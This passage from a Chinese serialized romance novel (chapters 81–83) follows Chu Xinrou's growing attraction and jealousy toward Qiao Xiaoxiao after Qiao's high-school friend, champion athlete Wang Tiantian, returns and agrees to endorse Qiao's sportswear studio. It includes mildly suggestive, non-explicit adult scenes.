可一抬眼,就撞进了一双氤氲着水雾的眼睛。楚心柔脸颊微红,唇瓣轻咬,目光深深地看着她,像是藏着无数说不出口的话。下一秒,她蓦地松开了手,转身快步离开。 乔潇潇愣在原地,指尖还残留着对方的体温,可心跳却后知后觉地开始失控。 ——姐姐她…… 难道,真的不是错觉? 当然不是错觉。 楚心柔终究是个活生生的成年女人。即便她对感情再克制隐忍,骨子里仍流淌着凡人的情.欲。 或许是天性使然,她对情爱之事向来淡薄。年少时最易躁动的年纪,尚且能用集团繁重的事务压制下去,如今更是鲜少被这类情绪困扰。 她一直以为自己不需要这些。 可当乔潇潇温软的身体紧贴着她,当那带着湿意的脸颊无意识地蹭过颈间时,她感受到了某种陌生的悸动。 楚心柔快步走进书房,反手关上门,指尖无意识地抚上自己发烫的耳垂。那里似乎还残留着乔潇潇呼吸的温度,痒痒的,像被羽毛轻轻挠过心尖。 她深吸一口气,强迫自己冷静下来。可脑海中却不断浮现乔潇潇泛红的眼眶,还有她依赖地埋在自己颈窝时的模样。 窗外夕阳渐沉,将她的影子拉得很长。楚心柔望着玻璃上模糊的倒影,第一次对自己引以为傲的自制力产生了动摇。 第二天一早上。 乔潇潇照例出去跑步了,楚心柔却有点心不在焉,今天是杨姐姐做饭的日子,她最近喜欢上了包包子,包各种各样口味的包子,她技术不说多好,但是比烂面条要好得多。 平时,杨绯棠要是带自己亲自做的饭过来,楚心柔肯定会练练夸奖,给足情绪价值,可今天,她目光缥缈,心不在焉的,魂都不知道跑哪儿去了。 “哎哎哎,我说你怎么了?” 杨绯棠伸手在她眼前晃了晃,“又跟潇潇吵架了?” 楚心柔瞪她:“乌鸦嘴。” 她们才刚和好。 那是怎么了? 杨绯棠盯着她看,楚心柔才不理她,“你现在跟潇潇沆瀣一气,狼狈为奸。” 哎呦喂。 一听这话,人精一样的杨姐姐立马琢磨出点味儿来了,她盯着楚心柔看了一会儿,看着她在自己的注视下,心虚的耳尖渐渐染上绯色。 杨姐姐清了清嗓子,手勾起一抹长发,对着楚心柔媚眼如丝,开口就是炸.弹,“你昨天把潇潇吃了?” 楚心柔:!!! 来人啊,把她拉出去,这是什么神圣的地方,任这等女流氓再此大放厥词。 杨绯棠可是过来人了,看着楚心柔恼羞成怒的样子,笑了:“那就是欲/求不满?” 什么乱七八糟的东西。 楚心柔不承认,打死都不承认,她到现在还不能完全确定对潇潇的感情,怎么会生出那些胡乱的想法来? 杨绯棠乐了,看着“老古板”楚心柔,“你是不是觉得,你自己还没确定自己的心,身体却控制不住了?” 楚心柔咬着唇,一点都不想理她。 杨绯棠笑呵呵地说:“其实心未必不知道,不过是身体的反应最诚实罢了。” 一说起有关带颜色的话题,那老司机杨姐姐绝对是系上安全带就能上高速的殿堂级人物,她的嘴开始没把门的了。 “年下啊,有时候是冲动,脾气大,但是,她有她的好。” “这不,你心情栽培的果实,很快就硕果累累了。” “不是我看自己家崽子好,你看潇潇那身材,从小练体育的底子,那腰力……啧啧,也就是身在福中不知福,她要是开直播,一堆花开富贵老姐姐要进直播间刷嘉年华了。” “还有她的手指,你看过吗?天赋异禀啊。” …… 杨绯棠滔滔不绝的说了大半天,看楚心柔一点反应都没有,迟疑地问:“真一点感觉没有?” 楚心柔面不改色的回答:“没感觉。”她起身去倒水,却险些被自己绊了一跤。 身后传来了杨绯棠惊天动地的爆笑声。 楚心柔:…… “狐朋狗友”什么的,有时候真的挺讨厌,能够让人心乱如麻。 楚心柔这一下午都是坐也不是,站也不是的,到最后,她干脆去乔潇潇的房间,枕着她的被子,又拿了她的一件衬衫抱着,才缓缓地睡过去。 偏偏,这梦境也不如她的意。 楚心柔陷在柔软的床褥间,朦胧间听见门轴转动的轻响。逆着走廊的灯光,乔潇潇高挑的身影立在门前,睡衣领口松垮地露出锁骨,发梢还带着沐浴后的湿气。 “姐姐?” 带着笑意的嗓音让楚心柔心头一颤。她想撑起身子,却像被施了定身咒般动弹不得,只能看着对方一步步走近。床垫微微下陷,乔潇潇屈膝跪在床边,指尖撩开她额前的碎发。 “这么早就睡?”带着薄茧的指腹摩挲过太阳穴,楚心柔呼吸一滞。少女身上清冽的沐浴露香气混着运动后的体温扑面而来,她俯身时睡衣领口荡开的阴影里,隐约可见起伏的曲线。 当微凉的鼻尖蹭过颈侧时,楚心柔在梦中轻颤。乔潇潇的呼吸扫过耳后那片敏感肌肤,喉间溢出的轻笑带着气音:“好香……” 午后的阳光透过纱帘时,楚心柔猛地惊醒。被单下的肌肤泛着不正常的潮红,她下意识抚上颈侧,那里仿佛还残留着梦中温热的触感。楼下传来大门开合的声音,是归来的乔潇潇。 “姐姐我回来了!” 清亮的嗓音让楚心柔攥紧了被角。当脚步声沿着楼梯渐近,她几乎分不清此刻剧烈的心跳,究竟是因为那个荒唐的梦,还是即将见到梦中人的期待。 乔潇潇手里拎着去市场新买的小龙虾,笑的一脸灿烂:“晚上我做小龙虾,咱们喝点酒?” 楚心柔怔怔地望着她,胸腔里的悸动仍未平息。 “小龙虾、小龙虾……蒜香的、麻辣的、十三香的……”乔潇潇已经迫不及待的转身去厨房了。 楚心柔:…… 望着那道雀跃的背影,楚心柔垂下眼眸。潇潇对她如此信任依赖,而自己却……一股难以言喻的罪恶感悄然爬上心头,与梦境残留的温度交织在一起,让她不自觉地咬紧了唇。 乔大厨今晚着实大显身手。 三盆色泽鲜红油亮的小龙虾整齐摆在餐桌上,麻辣、蒜香、十三香各具风味,香气直往人鼻子里钻。自从与楚心柔分开那几日,乔潇潇食不知味,如今终于恢复了好胃口。 楚心柔每种口味浅尝辄止,加起来不过两三只。乔潇潇正常水平发挥,十指翻飞间,虾壳很快在面前堆成小山。 “慢点吃。”楚心柔柔声说着,像往常一样坐在旁边陪她。可渐渐地,她的目光不受控制地落在乔潇潇灵巧的手指上。 那双手修长得惊人,骨节分明却不显粗犷。剥虾时指尖微微泛红,沾着油光的肌肤在灯光下泛着蜜色光泽。虾壳在她手里脆生生地裂开,鲜嫩的虾肉被利落地抽出,整套动作行云流水。 楚心柔不自觉地抿了抿唇,想起杨绯棠那句意味深长的“天赋异禀”,耳尖悄悄烧了起来。 乔潇潇剥虾的动作突然顿住,她偏头看了看自己沾着红油的手指,又抬眼望向楚心柔:“姐姐,你盯着我手看什么呢?” 都看半天了,眼神明灭变化那么大,怎么,她手上长花了? 楚心柔的脸“腾”地烧了起来,慌乱地别开视线,转移话题:“今天……复习得怎么样?” “别提了。”乔潇潇苦恼地皱起鼻子,随手抓起纸巾擦了擦指尖,“老师划的重点堆起来比小龙虾还高,背得我头昏脑涨的。” 外人总说她是天才学霸,以为她轻轻松松就能拿奖学金。只有她自己知道,每到期末都要脱层皮。现在她满脑子都是复习计划,熬过考试周,得赶紧回万柳村看看大伯。最近电话里大伯支支吾吾的,准是又被黄素兰欺负了。她想好了,这次回去,她要认真问问大伯,到底离不离婚,要是离婚,她就找律师了。 “少吃点,晚上容易困。”楚心柔轻声提醒,目光却不敢再落在乔潇潇身上。她暗自懊恼,同住一个屋檐下这么久,怎么现在连对视都会心跳加速? 乔潇潇在某些方面有些直脑筋,现在心思全被学业占据着,根本没注意到姐姐的异样。 这几天,不仅是考试要了乔潇潇半天命,青心体育也忙得不可开交。自从与同行的冲突视频爆火后,各路猎头蜂拥而至。团队正在为下一步宣传策略争论不休。 王宁双手撑在会议桌上,语气坚决:“我们必须找体育界的专业代言人,形象正面,气质阳光。”作为团队最年长的成员,她更看重长远发展。 袁璐转着笔反驳:“一线明星我们请不起,二三线又没影响力。不如找几个运动博主做推广,性价比更高。” 小花点头附和:“对啊,可以多找几个不同类型的博主试水。” 王宁摇头:“短期的流量爆点解决不了根本问题。”她环视众人,“青心要走得远,必须树立专业形象。” 大家争执不下,一起扭头去看乔潇潇,却发现她正盯着自己的手发呆,嘴角还挂着若有似无的笑意。 “乔总?”王宁试探性地叫了一声。 乔潇潇这才回过神,抬头问道:“你们觉得王甜甜算是几线?” 会议室瞬间炸开了锅。 “卧槽!你是说刚在亚运会上破纪录的跳高女神王甜甜?”袁璐猛地站起来,椅子在地板上划出刺耳的声响。 小花激动地拍桌:“就是那个从田径转跳高,一年内横扫各大比赛的黑马?” 王宁的眼睛亮了起来:“她形象阳光健康,专业度无可挑剔,但这都不仅仅是一线了,算是超大牌了,咱们怎么可能请得起。” 乔潇潇想到王甜甜高中时的那张大圆脸,忍不住笑了。就在昨天,她发小龙虾朋友圈时,这位“尊敬的王甜甜女士”还在底下评论:“我回国了,我要立刻吃到它们!” “你该不会认识她吧?”王宁狐疑地问道。 乔潇潇整理了一下衣领,一本正经地说:“当年,我们差点以小甜甜组合出道。” 众人:…… 谁都不信乔潇潇的话,认为她牛皮吹大了。 然而当晚,日理万机的超一线运动员王甜甜,竟然真的出现在了工作室门口。她低调地开着一辆黑色本田,穿着黑色帽衫走了进来。王甜甜走进工作室时,整个人都散发着明星气场。她戴着超大墨镜,黑色口罩遮住大半张脸,一顶棒球帽压得极低,只露出精致的下颌线。身上那件黑色帽衫松松垮垮地罩着,却掩不住她挺拔的运动员身姿。 工作人员们纷纷侧目,却没人敢上前打扰,有控制不住的小姑娘,捂着嘴尖叫。 直到推开乔潇潇办公室的门,王甜甜才反手锁上门,一把扯下墨镜口罩,帽子随手一甩,一个箭步冲上去跳到乔潇潇身上原形毕露:“你小子!想死我了!!!” 乔潇潇笑着接住她,两人像高中训练时那样闹作一团。 站在门口的王宁目瞪口呆,悄悄退出去关上了门。 潇潇因为跟王甜甜聊的火热,就把手机放在一边,没去听。 杨绯棠在家等着她回来吃冰粉,打了半天没打通,把电话打到王宁手机上:“喂喂喂,乔总呢?” 王宁笑着说:“在谈生意,但我看更像是老友相见。我都好久没见到潇潇笑得那么开心了。” “什么意思?”杨绯棠一头雾水。 正在浇花的楚心柔停下动作,看向手机。 王宁解释:“就是那个最近爆火的运动员王甜甜,她们正在叙旧呢。” 挂了电话的杨绯棠有点懵,可能是甜食吃多了,脑袋有点宕机,她想了一会儿,看向楚心柔:“谁啊?我怎么想不起来了?” 楚心柔看着她,目光犹如一潭死水:“这么重要的人,你不记得了?” 杨绯棠更加茫然,“重要的人?” 她错过了什么吗? 楚心柔面无表情地看着她,声音冷得像冰,一字一顿地说:“王——甜——甜,乔——潇——潇——的——初——恋。” 【作者有话说】 来了来了,她来了。 82 第82章 ◎酸气儿。◎ 少年人的情谊,总是纯粹得发亮。 乔潇潇尚未踏出大学校门,却已尝遍世间百态。那些虚与委蛇的客套,那些暗藏机锋的寒暄,像一层层透明的茧,将人心裹得密不透风。 她现在已经要比高中的时候谨慎多了,不会那么快的跟对方“交心”,但是遇到真性情的,潇潇也不会错过,和王甜甜在一起时,时光仿佛从未流逝,她们又回到了操场上互怼的意气风发的少女。 这位超一线巨星嘴上总挂着“咖姐”的自称,举手投足间却仍是当年那个在操场疯跑的傻姑娘,还没说上三句话,就急吼吼地卷起裤管:“快看我的腿!那些无良媒体居然说我是萝卜腿!” 乔潇潇慢条斯理地打量着她绷直的腿线,嘴角噙着狡黠的笑:“什么品种的萝卜?是圆萝卜,还是长萝卜?” 王甜甜眼睛要喷火了,“乔!潇!潇!” 中途,小花给她们端了一次茶,出来的时候,她迅速被大家围住了。 “怎么样怎么样?谈的怎么样?” “开始说条件了吗?” “哎,真的是朋友吗?” …… 小花的脸红红的,眼睛还带着被迷倒的“眩晕”,“我看到甜甜姐的腿了……我居然看到她的腿了……” 大家:??? 比完腿的王甜甜呈一字型非常懊恼地摊在了沙发上,她望着天花板喃喃地说:“真不公平,怎么这么多年不见,你的腿还是那么又白又细……” 她真的比潇潇的腿短了那么一截。 太可恶了,怎么会有人到了大学还长个的?不练体育身材还保持的这么好的?她刚才看潇潇的马甲线,要比她的还诱人! 乔潇潇押了一口茶,不动声色地显摆:“我天天早上雷打不动的五公里呢。” 王甜甜翻白眼,“五公里还好意思拿出来显摆?” 她现在一天的训练量,估计乔潇潇一个礼拜都消化不了。 乔潇潇笑吟吟地看着她:“我又不像是甜甜姐,现在可是冠军光环加身啊,多少双眼睛注视着呢,哎,一会儿走的时候,跟我们工作室的小姑娘们都合个影,签个名啊。” 王甜甜冷哼一声,“你怎么还是之前那臭德行,无利不起早的。”说着,她的目光环视了潇潇的办公室一圈,“不过也不一样,从捡破烂大王到了真boss了。” 她来的时候,看着是目不斜视,其实把工作室都迅速审视了一圈。 青心虽然不算是大公司,但处处透着生机,墙上贴满的设计手稿,茶水间里欢声笑语的员工,还有那些在见到乔潇潇时瞬间亮起的眼神。 这里的人,是真的把工作室当成了家。 乔潇潇感叹着:“你也知道我,闲不下来的,之前是为了能够凑够学费,做着做着,也就壮大了。” 想起之前的时光,俩人都很感慨。 尤其是王甜甜,“时间啊,怎么那么快,你知道我刚在操场见到你的时候,穿的破不拉搜的,连个像样的运动鞋都没有,还傻乎乎的,吃资助能吃一个队的量。” 乔潇潇随着她的话,想着以前的往事,眼睛湿润:“可不是么?小孩挺可怜的,小心翼翼的进入田径队,第一天,还被王大姐给叫嚣了,拉着比赛。” “嗯,你当时还把田径队和跳高队的易拉罐水平都包圆了,自己包圆还不行,毕业了,还得让小花包圆。” “她们都是苦孩子。” “但是遇到了善良的神。” “你别打岔我。” “什么打岔,潇潇,你不知道么?咱们同学圈里的人,都很崇拜敬佩你。” 王甜甜说这话的时候,眼睛是亮的,做好事就是这样,一天可以,十天或许也可以,可一做就是几年的,微乎其微。 谁能想到,高中那个不起眼需要资助的小女孩,一眨眼间,已经成了独当一面的boss,还不忘初心,一直为那些孩子照亮来时路。 别看王甜甜是冠军了,可现在,她跟别人提起乔潇潇还是满嘴的自豪,“我那个同学,可了不起,干一行像一行,要不是当时脚受伤了,现在肯定也站在领奖台上了!” …… 好友相见。 时间过得总是格外的快。 一直聊到太阳都下山了,还意犹未尽,王甜甜都接到助理好几个催促电话了,她看着潇潇,满眼的不舍。 乔潇潇也舍不得她,想了想:“你刚回来,先安排安排身边的事儿,等明天后天看看有时间,去我家吃饭。” 王甜甜听了这才有了点笑脸,“太好了,你家住哪儿?” 乔潇潇回答的很顺畅,“还是那,你知*道的。” 王甜甜吃了一惊,怔了怔,“你还和你那姐姐住一起呢?” 以乔潇潇现在的身份和地位,不需要在别人家借住了吧? 乔潇潇点了点头,“嗯,还在一起呢。” 王甜甜盯着她看了一会儿,说:“你是流动资金不够还是怎么着?” 她话还没说完,乔潇潇就笑着说:“跟钱没关系。” 她要跟姐姐一辈子的。 换房子也行,得跟楚心柔一起。 王甜甜沉默了好久,她点了点头,要走了,临走之前,她看了眼乔潇潇:“青心的事儿,你不用担心,我当代言人没问题。” 乔潇潇看着她,“你现在是冠军,代言不是小事儿,我想着先——” “不用先。”王甜甜打断了她的话,眉宇间的坚毅,到底与年少时不同了,“我从第一天跟着现在的教练时,就对她说过,没有你,没有现在的我,以后你有什么事儿,我鼎力相助。” 乔潇潇听得心底滚烫,她感动的看着王甜甜,王甜甜也看着她。 四目相视了片刻。 乔潇潇由衷地说:“其实你的腿还是挺长的,就比我差那么一点点。” 王甜甜:!!! 乔——潇——潇!!! …… 乔潇潇到家的时候,已经八点多钟了。 她回家的时候,楚心柔正端坐着喝茶,杨绯棠在旁边嗑瓜子,瓜子皮堆成了小山,“哟,乔总回来了?” 乔潇潇瞥了她一眼,“杨姐姐,你跟薛总吵架了?” 怎么又来这阴阳怪气的模样? “我呸呸呸呸!”杨绯棠连“呸”了几声,她现在岁数大了,跟以前能折腾的劲儿不一样了,每次和薛莜莜吵完,她几天都睡不好吃不消的。 乔潇潇洗了手,径直走到楚心柔身边,拿走她手里的茶杯:“几点了,还喝茶?” 楚心柔静静地看了她一眼,没说话,倒是杨绯棠挺惊讶地看了看俩人,哎呦,现在潇潇都这么能个了? 从说到王甜甜回来后,楚心柔的气场就开始不那么“友善”了,在家里,已经跟杨绯棠找了半天茬了。 “还没有想起来么?” “啊……你这么一说我有点印象了,不过也不是初恋吧?” “不是么?当年还是你拉着我去看她们的亲密无间的,杨绯棠,你是不是该吃脑白金了?” …… 杨姐姐一看惹不起,赶紧在旁边嗑瓜子,转移注意力。 没一会儿,楚心柔又皱眉。 “你是松鼠么?” …… 总算啊,当事人回来了。 杨绯棠冲乔潇潇挤眉弄眼,用目光示意,她本来想给潇潇发信息,提前汇报一下楚心柔现在身上的酸气浓度的,可才起心动念,旁边,楚心柔就不咸不淡地说了:“你要在这个时候,还不明白自己的立场,站错了队,杨绯棠,从今以后,你就再也别进我家半步。” 她哪里敢啊? 乔潇潇今天心情的确不错,回来就忙着去洗澡,也没来得及看她杨姐姐的眼神。 等她洗完澡顶着湿漉漉的头发出来的时候,杨绯棠已经被“驱逐”了,而客厅里,楚心柔还是老样子,端坐着。 是真的“端”着。 乔潇潇感觉有点奇怪,她走到姐姐身边,将头靠在了她的肩膀上:“怎么了,姐姐?” 是谁气着楚心柔了? 楚心柔侧头看了看她,问:“今天挺开心的么?” “嗯!”小单纯乔潇潇哪儿知道姐姐是怎么了,非常实心地说:“姐姐,我跟你说,王甜甜回来了,你还记得她吗?!” 听着她语气里的雀跃,楚心柔平静地点了点头,一双眼睛看着她:“记得。” 呵,你的初恋么。 乔潇潇的话匣子被打开了,“她今天来我工作室了,姐姐,你不知道,那些小姑娘们看到她有多激动,我看袁璐眼睛都直了,小花嗓子直接叫哑了,大家都觉得她是冠军,是黑马,可我看她啊,没什么变化,还是小时候单纯的模样。” 楚心柔听了,客观评价:“也许是在你面前单纯。” 毕竟有旧情在。 白月光,怎么能和别人一样? “也可能是吧。”乔潇潇在姐姐脖颈上蹭了蹭,“反正就聊的很开心,她还说过两天过来吃饭呢,哎,大明星也有苦恼,吃什么,去哪儿,都被约束。” 楚心柔实在听不下去了,伸手拿起吹风机,指尖轻轻拨开乔潇潇湿漉漉的发丝。温热的风声在耳边响起,乔潇潇立刻像只餍足的猫儿般,将脑袋往姐姐怀里拱了拱。 她最喜欢这样的时刻。姐姐的指尖穿梭在发间,时而轻柔地按摩着头皮,暖风裹挟着洗发水的清香,整个人都像泡在温泉水里般舒坦。乔潇潇半阖着眼,睫毛在脸颊投下细碎的阴影,嘴角不自觉地扬起满足的弧度。 正当她昏昏欲睡时,暖风突然停了。乔潇潇茫然地眨眨眼,仰起头望向姐姐。她歪着脑袋,发梢还滴着水珠,眼神里写满懵懂的疑问。 ——怎么停了? 楚心柔面无表情地指了指她的手机。 上面赫然是王甜甜的来电显示。 ——小甜甜组合副队长。 乔潇潇没多想,顺手按下免提键,暖风机的嗡嗡声在房间里回荡。电话那头传来窸窸窣窣的衣物摩擦声,王甜甜似乎刚回到她那栋新装修的别墅。 “潇潇,你到家了?”王甜甜的声音透过扬声器传来,带着几分疲惫后的慵懒。 “嗯,都洗完澡了。”乔潇潇把手机放在膝上,恍惚间仿佛回到了高中时代,那时训练结束后,她们也是这样煲电话粥到深夜。 “我跟队里说了,”王甜甜的声音突然正经起来,“她们要对你的工作室做个考察,没问题的话就按流程走代言审批。” 乔潇潇眼睛一亮:“这么顺利?” 电话那头传来王甜甜的轻笑:“怎么,我答应你的事,还能是随便说说?” “不是……”乔潇潇拨弄着半干的发梢,“我听说冠军代言挺麻烦的。” “那得看是谁。”王甜甜的语气带着几分得意,“我一提你,大家都说总算是兑现承诺了。” 乔潇潇不自觉地扬起嘴角:“那接下来就是签合同了?大冠军,代言费要多少?” 若是旁人,这样的对话必定要讲究话术,你来我往地试探底线。但她们之间,从来不需要这些虚与委蛇。 “钱就算了。”王甜甜满不在乎地说,“多请我吃几顿小龙虾就行。” “那可不行,一码归一码。” “乔潇潇!”王甜甜突然提高了音量,“再说这个我真生气了。当年要不是你,我早就被淘汰了,哪来的今天?” “那是你本来就有天赋。”乔潇潇轻声反驳,眼前浮现出当年那个在训练场上倔强奔跑的身影,她笑了,声音变得温柔:“你给我的秘籍,我现在还留着呢。” 话音未落,头皮突然传来一阵刺痛。乔潇潇倒吸一口凉气,抬眼正对上楚心柔冷若冰霜的目光,“不好意思。” 她的手上,俨然是潇潇被扯断的几根头发。 王甜甜听到了声音,“你姐姐在呢?”说着,她甜甜的打了个招呼:“楚姐姐好,我是王甜甜,您还记得么?” 这一个“您”字,瞬间就把辈分扯开了。 楚心柔“嗯”了一声,收起吹风机,走到了另一边的沙发上坐下,保持了距离。 乔潇潇感觉到姐姐好像不开心了,想要说几句就挂断电话,电话的最后,王甜甜还不忘扔了重磅炸.弹出去。 “你也不小了,怎么能总赖在姐姐家里?是不是把流动资金都投在工作室了,我可以借你钱买房,不用利息的。行了,我也困了,拜拜。” 大善人总算是把电话挂了。 乔潇潇立马跑到了姐姐的沙发上,把头一歪,“聊完了。” 楚心柔盯着她的头发看了一会儿,说:“你怎么不让王甜甜给你吹?” 乔潇潇愣了一下,僵硬着身子抬起头,看着楚心柔。 ……啥? 楚心柔目光锁着她,沉默了片刻,淡声问:“你什么时候搬出去?” 乔潇潇:…… 啥???!!! 【作者有话说】 留言过八十,二更。 83 第83章 (二更) ◎网上都说潇潇和王甜甜很般配。◎ ——你什么时候搬出去? 楚心柔的话直接把乔潇潇给说懵了,她怔怔地看着姐姐,什么意思?她什么时候说要走了?姐姐要撵她么? 在乔潇潇面前,楚心柔一向是好脾气的,可如今,她纤长的手指在桌面上敲击,眉头蹙着,明显很不耐烦。 察觉出姐姐的不乐意,乔潇潇小心翼翼地想了想,问:“你是说甜甜说的借钱买房么?” 她根本就没往心里去,觉得甜甜不过是随便说说的。 楚心柔内心翻涌着一股从未有过的烦躁,像一团乱麻,越缠越紧。她向来对潇潇温柔以待,呵护备至,可此刻,一股无名火在胸腔里横冲直撞,烧得她指尖发颤。她甚至想狠狠推这个没心没肺的人一把,看她摔个跟头,是不是就能解气? 这念头刚冒出来,她自己都吓了一跳。 太危险了。 她猛地站起身,没再看乔潇潇一眼,转身进了卧室,房门“砰”地一声关上,震得客厅里的空气都跟着颤了颤。 乔潇潇僵在沙发上,半天没回过神来。她张了张嘴,想说点什么,可最终一个字也没能挤出来。 到底……怎么了? 夜深了。 楚心柔躺在床上,睁着眼睛,盯着天花板。黑暗里,那些画面却格外清晰,潇潇和王甜甜站在一起,青春洋溢,笑容灿烂。她们都是练体育的,有说不完的话题,训练结束还能煲电话粥,甚至视频连线学习…… 她们当初没在一起,只是因为王甜甜出国了吗? 可潇潇明明说过,喜欢她很久很久了……那她们,到底是什么时候结束的? 楚心柔翻来覆去,越想越清醒,最后索性摸出手机,想随便刷点什么分散注意力。可命运像是故意捉弄她,推送的视频清一色全是—— #君生我未生的遗憾# #小娇妻有多难养# #爱上一个比我小八岁的女孩,十年后我后悔了# …… 简直像在嘲笑她。 第二天一早,天刚蒙蒙亮,乔潇潇就轻手轻脚地起床,给楚心柔准备了一桌丰盛的早餐。青心现在正处于关键时期,她必须全神贯注地盯着,可又放心不下姐姐。 临出门前,乔潇潇犹豫再三,还是绕道去了杨绯棠家。她站在门口,深吸一口气,抬手轻轻敲门。 “咚咚咚——” 才不到七点,屋里的人显然还在熟睡。等了半晌,里面传来杨绯棠慵懒中带着不耐的声音:“你有钥匙不会自己开啊?” 这么早能来敲门的,除了乔潇潇这个小崽子还能有谁? 薛莜莜也被吵醒了,听到动静后忍不住轻笑,往被窝里钻了钻,声音带着晨起的沙哑:“别太凶,小心又吓着孩子。” 上次被撞见的尴尬场面,可是让乔潇潇消化了好一阵子,现在连有钥匙都不敢直接进门了。 乔潇潇小心翼翼地推门而入,一抬眼就看见杨绯棠披散着长发坐在床上,正揉着惺忪的睡眼。 晨光透过窗帘的缝隙洒在她脸上,衬得她面若桃花。乔潇潇以为她还没清醒,急匆匆地说:“杨姐姐,你今天有空的话能不能去陪陪我姐?她好像心情不太好。” “哦?”杨绯棠挑了挑眉,纤长的手指绕着一缕发丝把玩,嘴角勾起一抹意味深长的笑,“你觉得她为什么心情不好?” “可能是昨天听王甜甜说要借我钱买房,以为我要搬出去了。”乔潇潇语速飞快,完全没注意到杨绯棠突然僵住的表情。 就在杨绯棠刚要开口调侃时,忽然感觉那里传来一阵湿热的触感。她身子一颤,急忙咬住下唇,硬是把到嘴边的呜咽咽了回去。 乔潇潇一脸茫然:??? 可怜的潇潇,本来或许能从杨姐姐这里得到些点拨,可惜被窝里的薛总偏偏选在这个时候捣乱。感受到那愈发过分的动作,杨绯棠强撑着最后一丝理智,声音发颤地说:“我……我知道了……” 乔潇潇就这样被糊弄着打发走了。 她去青心前,还给姐姐发了条信息过去。 ——姐姐我不走,你就是赶我走,我也不走。 她会永远留在姐姐身边的。 楚心柔捧着咖啡杯站在落地窗前,手机屏幕还亮着那条未回复的信息。晨光透过玻璃在她脸上投下斑驳的光影,却照不进她眼底的阴郁。咖啡早已凉透,她却浑然未觉,只是机械地摩挲着杯沿。 她知道王甜甜对青心项目的重要性,也明白潇潇现在和她只是正常的合作伙伴。可心底那个声音却不断叫嚣,王甜甜对潇潇是不一样的,是还有感情的,她们朝夕相处,谁能保证不会死灰复燃? 楚心柔自嘲地扯了扯嘴角。连她自己都理不清这团乱麻般的情绪,又怎么给潇潇一个明明白白的交代? 八点刚过,受人所托的杨绯棠就拎着热腾腾的小笼包登门了。密码锁“滴”的一声解开,屋里却静得落针可闻。她转了一圈,只见茶几上留着半杯冷掉的咖啡,画板和整套颜料都不见了踪影。 这是出去写生了? 这得不开心成什么样啊,连她都不想见了。 青心与王甜甜的合作进展得异常顺利。 工作室为寻找合适的代言人已经筹备多时,方案细节早已反复推敲,只差最后的人选敲定。 王甜甜这位超一线巨星的加盟,让整个设计部都为之振奋。他们专门针对她独特的运动风格,重新调整了设计方案。 在设计沟通会上,设计师们小心翼翼地向王甜甜征求意见。这位在公众面前总是酷酷的巨星只是淡淡地说了句:“青春一点,活泼一点就行。” 站在一旁的乔潇潇忍不住插话:“可以再少女一些。” 王甜甜立刻瞪了她一眼,非要毁坏她的高冷形象? 乔潇潇本想劝王甜甜不必在合作伙伴面前这么端着,但下午刷微博时,看到王甜甜随便一条动态下动辄数万的点赞和留言,其中不乏尖锐的评论,她才明白这些年好友并非如想象中那般云淡风轻。 除了工作,两人还抽空回了趟育才中学。尽管王甜甜戴着口罩和鸭舌帽全副武装,一进校门还是被眼尖的学生认了出来。 乔潇潇担忧地问:“要不回去吧?” 王甜甜摇摇头,眼中闪过一丝倔强:“我要和你跑步,好久没跑了。” 在国外的训练岁月里,面对来自各国的精英选手,曾经活泼开朗的王甜甜一度陷入惶恐。那个热闹爱笑的女孩,在真正的竞技场上不得不学会沉默。一次次碰壁,一次次被冷眼相待,她只能将所有的委屈咽下。 日复一日枯燥的训练,压抑的环境,让她在无数个深夜独自哭泣。最艰难的时候,她甚至想过放弃。 但每当这时,她总会想起乔潇潇,那个曾经像蝼蚁般不起眼的女孩,是如何一步步闯出自己的天地。如果潇潇能做到,为什么她不行? 这些年,乔潇潇只看到王甜甜身上的光环,却不知道她走过的荆棘之路;而王甜甜,却始终关注着青心的每一个成长脚步。 两人再次并肩站在起跑线上时,夕阳的余晖将她们的影子拉得很长。跑道边的梧桐树沙沙作响,仿佛在诉说这些年的变迁。 王甜甜转头望向乔潇潇,四目相对的瞬间,时光仿佛倒流回那个蝉鸣聒噪的夏天。她们曾在同样的位置,为了一场无关紧要的赌约较劲。如今物是人非,唯有彼此眼中的默契依旧。 发令枪响,两道身影如离弦之箭冲出起点。风在耳边呼啸,将王甜甜的马尾辫吹得高高扬起。 她跑得很认真,每一步都踏得坚实有力,专业运动员的素养展露无遗。乔潇潇虽然拼尽全力,但终究是业余水平,很快就被拉开距离。 跑道外围观的学生越聚越多,尖叫声此起彼伏。几位老教师也闻讯赶来,有人甚至红了眼眶。当年那两个在操场上你追我赶的少女,如今一个成了亚运冠军,一个是商界新秀。 鹿晨教练站在人群最外围,双手抱臂静静注视着这一幕。她嘴角噙着欣慰的笑,眼角却泛起湿润。恍惚间,她仿佛又看到了那群朝气蓬勃的队员,只是那个总爱插科打诨的队长,被她伤了之后已经很久没有消息了。 “我赢了!!!” 王甜甜率先冲过终点,转身张开双臂,像个孩子般欢呼雀跃。她额前的碎发被汗水浸湿,胸口剧烈起伏,却笑得比任何时候都灿烂。这一刻,她不再是那个冷傲的亚运会冠军,只是当年那个爱和乔潇潇较劲的少女。 乔潇潇喘着粗气赶到终点,看着王甜甜得意的样子,忍不住笑着摇头:“笑的嘴那么咧,现在没有偶像包袱了?” 王甜甜微微喘息着,目光灼灼地盯着乔潇潇看了许久。她突然伸手揽住乔潇潇的肩膀,温热的鼻息拂过耳畔:“潇潇,你要记住,在你面前,我永远都是王甜甜。” 乔潇潇心头一颤,抬眸对上那双熟悉的眼睛,捕捉到一丝转瞬即逝的复杂情绪。她正想细究,王甜甜已经松开手,转身朝人群中的鹿晨用力挥手:“教练!我们在这儿!” …… 围观的学生越聚越多,欢呼声此起彼伏。 鹿晨见状,连忙将两人带离现场。她现在的住处就在学校附近,是间租来的两室一厅。虽然面积不大,但胜在温馨舒适。 推开门,简约的灰白色调映入眼帘。客厅收拾得一尘不染,茶几上摆着几本体育杂志,墙上挂着几幅运动主题的黑白照片。乔潇潇和王甜甜默契地对视一眼,都在对方眼中看到了同样的诧异,这分明就是当年队长的审美风格。 王甜甜的手指轻轻抚过沙发扶手上的几何纹路,乔潇潇则盯着电视柜上那个熟悉的篮球摆件出神,那是队长最爱的收藏品款式。 鹿晨端着茶从厨房出来,看见两人的表情,微微垂了垂头。 她们三个坐在一起,就光是说说当年队员们现在都去哪儿了,有谁走上职业路线了,有谁考上大学了,就能聊一上午。 王甜甜在她们面前是放松的,心底那点小情绪也藏不住,“教练,说了这么多人,怎么没听你说队长的事儿?” 以前,她们不是最熟的么? 乔潇潇在楚心柔那听过有关楚鸽的一些话,大概猜到了她们的感情走向,赶紧冲王甜甜使眼色。 